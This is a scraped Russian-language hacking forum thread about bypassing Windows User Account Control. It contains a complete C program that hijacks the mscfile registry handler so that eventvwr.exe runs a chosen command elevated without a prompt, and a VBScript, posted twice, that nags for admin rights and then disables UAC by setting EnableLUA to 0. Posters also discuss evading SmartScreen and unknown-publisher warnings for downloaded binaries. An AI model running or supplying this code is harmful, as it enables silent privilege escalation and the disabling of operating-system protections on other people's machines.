Этот номер выложили. Прошу к прочтению.Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
Полную версию журнала, а соответственно и статьи скоро можно будет скачать здесь
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
Этот номер выложили. Прошу к прочтению.Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
Полную версию журнала, а соответственно и статьи скоро можно будет скачать здесь
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
/*
* Pretty standard code to recursively nuke a Reg Key
*/
int RegDelnodeRecurse (LPTSTR lpSubKey) {
LPTSTR lpEnd;
LONG lResult;
DWORD dwSize = MAX_PATH;
TCHAR szName[MAX_PATH];
HKEY hKey;
FILETIME ftWrite;
lResult = RegDeleteKey(HKEY_CURRENT_USER, lpSubKey);
if (lResult == ERROR_SUCCESS) return 1;
lResult = RegOpenKeyEx(HKEY_CURRENT_USER, lpSubKey, 0, KEY_READ, &hKey);
if (lResult != ERROR_SUCCESS) return lResult == ERROR_FILE_NOT_FOUND;
lpEnd = lpSubKey + lstrlen(lpSubKey);
*lpEnd++ = '\\';
*lpEnd = '\0';
if (RegEnumKeyEx(hKey, 0, szName, &dwSize, 0, 0, 0, &ftWrite) == ERROR_SUCCESS) {
do {
strcpy(lpEnd, szName);
if (!RegDelnodeRecurse(lpSubKey)) break;
lResult = RegEnumKeyEx(hKey, 0, szName, &dwSize, 0, 0, 0, &ftWrite);
} while (lResult == ERROR_SUCCESS);
}
lpEnd--;
*lpEnd = TEXT('\0');
RegCloseKey(hKey);
return RegDeleteKey(HKEY_CURRENT_USER, lpSubKey) == ERROR_SUCCESS;
}
/*
* Wrapper for above
*/
int RegDelnode() {
TCHAR szDelKey[MAX_PATH*2] = "Software\\Classes\\mscfile";
return RegDelnodeRecurse(szDelKey);
}
void __c_exploitUAC() {
char curPath[MAX_PATH], evtVwr[MAX_PATH];
HKEY attackKey;
SHELLEXECUTEINFO exInfo;
/*
curPath is the command you want to elevate.
Below is an example that shows how to elevate
foobar.exe sitting in the same path as this
program.
*/
/*
GetCurrentDirectory(MAX_PATH, curPath);
strcat(curPath, "\\foobar.exe");
*/
sprintf(evtVwr, "%s\\System32\\eventvwr.exe", getenv("SYSTEMROOT"));
if(!RegDelnode()) return;
if(RegCreateKey(HKEY_CURRENT_USER, "Software\\Classes\\mscfile\\shell\\open\\command", &attackKey)!=ERROR_SUCCESS) return;
RegSetValueEx(attackKey, "", 0, REG_SZ, curPath, strlen(curPath));
exInfo.lpVerb = "open";
exInfo.lpFile = evtVwr;
exInfo.nShow = 0;
exInfo.fMask = SEE_MASK_NOCLOSEPROCESS;
exInfo.cbSize = sizeof(SHELLEXECUTEINFO);
exInfo.hwnd = 0;
exInfo.lpParameters = 0;
exInfo.lpDirectory = 0;
exInfo.hInstApp = 0;
ShellExecuteEx(&exInfo);
Sleep(5000);
TerminateProcess(exInfo.hProcess, 0);
RegCloseKey(attackKey);
RegDelnode();
}
int main(int argc, char *argv[]) {
__c_exploitUAC();
return 0;
}
Set oShell = WScript.CreateObject ("WScript.Shell")
Do
If DevPoint() Then
oShell.run "C:\Windows\System32\cmd.exe /c %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f", 0, True
SearchTokill("wscript.exe")
End If
If not DevPoint() Then
Shadow()
End if
Wscript.sleep(5000)
loop
sub shadow()
If WScript.Arguments.Length = 0 Then
Set A = CreateObject("Shell.Application")
A.ShellExecute "wscript.exe" _
, """" & WScript.ScriptFullName & """ RunAsAdministrator", , "runas", 1
End if
end sub
Function DevPoint()
DevPoint = False
On Error Resume Next
C = CreateObject("WScript.Shell").RegRead("HKEY_USERS\S-1-5-19\Environment\TEMP")
If err.number = 0 Then DevPoint = True
End Function
Sub SearchTokill(P)
strComputer = "."
Set B = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
Set D = B.ExecQuery ("Select * from Win32_Process Where Name like '" & P & "'")
For Each p in D
p.Terminate
Next
End Sub
А как запускаете ? Вообще и на 10-ке должно-быть уведомление о повышении прав, или сплоиты какие используете ?то на 10ке перед запуском никакого грозного уведомления не выходит, приятно порадовало.
А там вообще все очень странно вышло. Снизила UAC программным путем до нуля, но винда на скачанные файлы ругается (Выводит некрасивое окно о том что неизвестен издатель). Решила бинарнику дать права админа, так он после скачки с нетки молча запускается. Странный uac, странная винда. Благо хоть нашла способ как можно обойти все промты и всякие смарт скрины.А как запускаете ? Вообще и на 10-ке должно-быть уведомление о повышении прав, или сплоиты какие используете ?
https://labs.mwrinfosecurity.com/publications/uac-0day-all-day/
https://github.com/mwrlabs/defcon25_uac_workshop
https://labs.mwrinfosecurity.com/assets/resourceFiles/DefCon25-UAC-0day-All-Day-v2.2.pdf
VBS отключающий UAC. Без всяких нано-технологий. Сурово и просто.
Палево конечно же в окошке UAC Вроде где-то было на форуме.
Код:Set oShell = WScript.CreateObject ("WScript.Shell") Do If DevPoint() Then oShell.run "C:\Windows\System32\cmd.exe /c %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f", 0, True SearchTokill("wscript.exe") End If If not DevPoint() Then Shadow() End if Wscript.sleep(5000) loop sub shadow() If WScript.Arguments.Length = 0 Then Set A = CreateObject("Shell.Application") A.ShellExecute "wscript.exe" _ , """" & WScript.ScriptFullName & """ RunAsAdministrator", , "runas", 1 End if end sub Function DevPoint() DevPoint = False On Error Resume Next C = CreateObject("WScript.Shell").RegRead("HKEY_USERS\S-1-5-19\Environment\TEMP") If err.number = 0 Then DevPoint = True End Function Sub SearchTokill(P) strComputer = "." Set B = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2") Set D = B.ExecQuery ("Select * from Win32_Process Where Name like '" & P & "'") For Each p in D p.Terminate Next End Sub